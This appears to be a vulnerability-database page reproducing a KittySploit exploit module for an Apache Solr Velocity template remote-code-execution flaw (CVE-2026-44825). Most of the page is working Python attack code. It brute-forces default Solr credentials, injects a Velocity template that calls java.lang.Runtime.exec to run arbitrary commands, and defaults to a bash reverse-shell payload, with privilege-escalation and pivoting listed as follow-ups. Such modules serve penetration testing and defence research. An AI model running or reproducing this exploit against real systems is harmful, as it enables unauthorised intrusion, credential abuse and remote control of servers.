Lucene search
+L

Apache Solr CVE-2026-44825 Velocity Template RCE

🗓️ 10 Jul 2026 11:31:42Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Remote command execution in Apache Solr via Velocity template injection on /select.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64
import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):

    __info__ = {
        "name": "Apache Solr CVE-2026-44825 Velocity Template RCE",
        "description": (
            "CVE-2026-44825: affected Apache Solr versions may allow remote command execution "
            "via Velocity template injection on /{collection}/select. When authentication is "
            "enabled, common default credentials are attempted before exploitation."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2026-44825"],
        "references": [
            "https://solr.apache.org/",
            "https://www.cve.org/CVERecord?id=CVE-2026-44825",
        ],
        "platform": [Platform.UNIX, Platform.LINUX],
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "type": PayloadType.CMD,
            "platform": [Platform.UNIX, Platform.LINUX],
            "category": PayloadCategory.SINGLE,
        },
        "tags": ["solr", "apache", "velocity", "rce", "cve-2026-44825"],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 'medium',
        'noise': 'medium',
        'value': 'high',
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    base_path = OptString("/solr", "Solr base URL path", required=False)
    username = OptString("", "Solr basic-auth username (empty = try defaults)", required=False)
    password = OptString("", "Solr basic-auth password", required=False)
    collection = OptString("", "Solr collection/core name (auto-discovered when empty)", required=False)
    command = OptString("id", "Command to execute via Velocity (overrides payload)", required=False)
    brute_creds = OptBool(True, "Try common Solr default credentials when auth is required", required=False)

    _VERSION_PATTERNS = (
        re.compile(r"solr-spec-version[^0-9]*([\d.]+)", re.I),
        re.compile(r"solr-impl-version[^0-9]*([\d.]+)", re.I),
    )
    _DEFAULT_USERS = ("superadmin", "admin", "search", "index")
    _DEFAULT_PASSWORDS = (
        "SolrRocks",
        "solr",
        "Solr123",
        "admin",
        "password",
        "changeme",
        "secret",
        "solradmin",
    )
    _FALLBACK_COLLECTIONS = ("gettingstarted", "test")

    def _solr_path(self, suffix: str) -> str:
        base = str(self.base_path or "/solr").strip()
        if not base.startswith("/"):
            base = f"/{base}"
        base = base.rstrip("/")
        if not suffix.startswith("/"):
            suffix = f"/{suffix}"
        return f"{base}{suffix}"

    @staticmethod
    def _extract_version(body: str) -> str:
        for pattern in Module._VERSION_PATTERNS:
            match = pattern.search(body or "")
            if match:
                return match.group(1)
        return ""

    @staticmethod
    def _is_vulnerable_version(version: str):
        if not version:
            return None
        try:
            parts = [int(part) for part in version.split(".")]
        except ValueError:
            return None
        if not parts:
            return None

        major = parts[0]
        minor = parts[1] if len(parts) > 1 else 0
        patch = parts[2] if len(parts) > 2 else 0

        if major == 9 and 4 <= minor <= 10:
            if minor == 10 and patch > 1:
                return False
            return True
        if major == 10:
            return minor == 0 and patch == 0
        return False

    def _auth_headers(self, username: str = "", password: str = "") -> dict:
        user = str(username or "").strip()
        passwd = str(password or "").strip()
        if not user:
            return {}
        token = base64.b64encode(f"{user}:{passwd}".encode()).decode()
        return {"Authorization": f"Basic {token}"}

    def _request(self, suffix: str, username: str = "", password: str = "", method: str = "GET", data=None):
        headers = self._auth_headers(username, password)
        if data is not None:
            headers = {**headers, "Content-Type": "application/x-www-form-urlencoded"}
        return self.http_request(
            method=method,
            path=self._solr_path(suffix),
            headers=headers or None,
            data=data,
            allow_redirects=False,
            timeout=8,
        )

    def _looks_like_solr(self, response, body: str) -> bool:
        if not response:
            return False
        text = (body or "").lower()
        server = str(response.headers.get("Server", "")).lower()
        return "solr" in text or "solr" in server or "solr-spec-version" in text

    def _auth_required(self, initial_status: int) -> bool:
        if initial_status == 401:
            return True
        for suffix in ("/admin/cores?action=STATUS", "/admin/collections?action=LIST"):
            response = self._request(suffix)
            if response and response.status_code == 401:
                return True
        return False

    def _auth_works(self, username: str, password: str) -> bool:
        response = self._request("/admin/info/system", username, password)
        return bool(response and response.status_code == 200)

    def _discover_collections(self, username: str = "", password: str = "") -> list:
        response = self._request("/admin/collections?action=LIST", username, password)
        if response and response.status_code == 200:
            try:
                collections = response.json().get("collections", [])
                if collections:
                    return list(collections)
            except Exception:
                pass

        response = self._request("/admin/cores?action=STATUS", username, password)
        if response and response.status_code == 200:
            try:
                cores = list(response.json().get("status", {}).keys())
                if cores:
                    return cores
            except Exception:
                pass
        return []

    def _resolve_credentials(self, auth_required: bool):
        user = str(self.username or "").strip()
        passwd = str(self.password or "").strip()
        if user:
            if self._auth_works(user, passwd):
                return user, passwd
            raise ValueError(f"Provided credentials failed for user {user}")

        if not auth_required:
            return "", ""

        if not self.brute_creds:
            raise ValueError("Authentication required; set USERNAME/PASSWORD or enable BRUTE_CREDS")

        for candidate_user in self._DEFAULT_USERS:
            for candidate_pass in self._DEFAULT_PASSWORDS:
                if self._auth_works(candidate_user, candidate_pass):
                    print_success(f"Valid credentials found: {candidate_user}:{candidate_pass}")
                    return candidate_user, candidate_pass

        raise ValueError("Authentication required but no default credentials worked")

    def _resolve_command(self) -> str:
        user_command = str(self.command or "").strip()
        if user_command:
            return user_command
        if self.payload:
            return str(self.payload)
        return "id"

    @staticmethod
    def _escape_velocity_command(command: str) -> str:
        return command.replace("'", "\\'")

    def _build_velocity_body(self, command: str) -> str:
        escaped = self._escape_velocity_command(command)
        return (
            "q=1&wt=velocity&v.template=custom&v.template.custom="
            "%23set(%24x=%27%27)"
            "%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))"
            "%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))"
            "%23set(%24ex=%24rt.getRuntime().exec(%27"
            f"{escaped}"
            "%27))"
            "%24ex.waitFor()"
            "%25"
            "%23set(%24out=%24ex.getInputStream())"
            "%23foreach(%24i%20in%20[1..%24out.available()])"
            "%24str.valueOf(%24chr.toChars(%24out.read()))"
            "%23end"
        )

    def _execute_command(self, collection: str, username: str, password: str, command: str) -> str:
        body = self._build_velocity_body(command)
        response = self._request(
            f"/{collection}/select",
            username,
            password,
            method="POST",
            data=body.encode(),
        )
        if not response or response.status_code != 200:
            return ""
        output = (response.text or "").strip()
        return output

    def _resolve_collection(self, username: str, password: str) -> str:
        selected = str(self.collection or "").strip()
        if selected:
            return selected

        discovered = self._discover_collections(username, password)
        if discovered:
            print_info(f"Using collection/core: {discovered[0]}")
            return discovered[0]

        fallback = self._FALLBACK_COLLECTIONS[0]
        print_warning(f"No collection discovered; falling back to {fallback}")
        return fallback

    def check(self):
        try:
            response = self._request("/admin/info/system")
            if not response or response.status_code not in (200, 401):
                return {
                    "vulnerable": False,
                    "reason": "Solr admin endpoint not reachable",
                    "confidence": "low",
                }

            body = response.text or ""
            if not self._looks_like_solr(response, body):
                return {
                    "vulnerable": False,
                    "reason": "Target does not look like Apache Solr",
                    "confidence": "low",
                }

            version = self._extract_version(body)
            vulnerable = self._is_vulnerable_version(version)
            if vulnerable is False:
                return {
                    "vulnerable": False,
                    "reason": f"Solr {version or 'detected'} outside affected version range",
                    "confidence": "high",
                }
            if vulnerable is None:
                return {
                    "vulnerable": True,
                    "reason": "Apache Solr detected but version could not be confirmed",
                    "confidence": "medium",
                }

            return {
                "vulnerable": True,
                "reason": f"Apache Solr {version} is within CVE-2026-44825 affected range",
                "confidence": "high",
            }
        except Exception as exc:
            return {
                "vulnerable": False,
                "reason": f"Check failed: {exc}",
                "confidence": "low",
            }

    def run(self):
        check_result = self.check()
        if not check_result.get("vulnerable"):
            print_error(check_result.get("reason", "Target does not appear vulnerable"))
            return False
        print_success(check_result["reason"])

        info_response = self._request("/admin/info/system")
        auth_required = self._auth_required(getattr(info_response, "status_code", 0))
        if auth_required:
            print_info("Solr admin endpoints require authentication")

        try:
            username, password = self._resolve_credentials(auth_required)
        except ValueError as exc:
            print_error(str(exc))
            return False

        if username:
            print_info(f"Using credentials {username}:{password}")

        collection = self._resolve_collection(username, password)
        command = self._resolve_command()
        print_status(f"Executing command via Velocity on /{collection}/select ...")

        output = self._execute_command(collection, username, password, command)
        if output:
            print_success("Command executed successfully")
            print_info(output)
            return True

        print_error("No command output returned")
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jul 2026 12:39Current
8.1High risk
Vulners AI Score8.1
CVSS 3.18.1 - 9.8
EPSS0.02838
SSVC
1